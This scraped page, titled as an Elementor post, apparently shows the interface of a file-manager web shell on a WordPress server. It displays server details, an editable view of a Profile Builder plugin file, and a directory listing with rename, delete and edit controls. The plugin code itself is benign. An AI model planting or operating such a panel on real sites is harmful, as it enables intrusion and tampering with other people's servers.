Elementor #2722 - Door of Clubs

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Current Directory: wp-content/plugins/profile-builder/admin/advanced-settings/includes/fields

Linux appserver-7a7af3b2-php-0c9ec09e2f9746c2a80fa3756c076432 6.12.94+ #1 SMP Fri Jul 17 09:26:56 UTC 2026 x86_64

Edit File: unique-display-name.php

<?php
// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) exit;

function wppb_toolbox_unique_display_name_edit_profile( $message, $field, $request_data, $form_location ) {

if ( isset( $request_data['display_name']) )  {
        if( isset( $_REQUEST['edit_user'] ) && ( ( !is_multisite() && current_user_can( 'edit_users' ) ) || ( is_multisite() && ( current_user_can( 'remove_users' ) || current_user_can( 'manage_options' ) ) ) ) ){
            $user = get_userdata( absint( $_REQUEST['edit_user'] ) );
        } else if ( isset( $request_data['user_id'] ) ) {
            $user = get_userdata( $request_data['user_id'] );
        } else {
            $user = wp_get_current_user();
        }

if ( $request_data['display_name'] == $user->display_name )
			return $message;

if ( wppb_toolbox_unique_display_name_check( $request_data['display_name'] ) ) {
            return __('This display name is already in use. Please choose another one.', 'profile-builder');
        }
	}

return $message;

}
add_filter( 'wppb_check_form_field_default-display-name-publicly-as', 'wppb_toolbox_unique_display_name_edit_profile', 20, 4 );

function wppb_toolbox_unique_display_name_check($display_name ){
    global $wpdb;

$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(ID) FROM $wpdb->users WHERE display_name = %s", $display_name ) );

if ( $count >= 1 ){
        return true;
    }
    return false;
}

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Name	Type	Size	Actions
.. (Parent Directory)	Dir
automatically-generate-password.php	File	2.96 KB	Rename \| Delete \| Edit
capitalize-first-last.php	File	790.00 B	Rename \| Delete \| Edit
datepicker-starts-monday.php	File	917.00 B	Rename \| Delete \| Edit
password-visibility-hide.php	File	143.00 B	Rename \| Delete \| Edit
redirect-if-empty-required.php	File	1.99 KB	Rename \| Delete \| Edit
remove-all-fields-from-backend.php	File	1.06 KB	Rename \| Delete \| Edit
remove-repeater-fields.php	File	288.00 B	Rename \| Delete \| Edit
restricted-words.php	File	1.02 KB	Rename \| Delete \| Edit
send-credentials-hide.php	File	361.00 B	Rename \| Delete \| Edit
send-credentials-text.php	File	841.00 B	Rename \| Delete \| Edit
unique-display-name.php	File	2.16 KB	Rename \| Delete \| Edit
update-db-meta-keys.php	File	139.00 B	Rename \| Delete \| Edit

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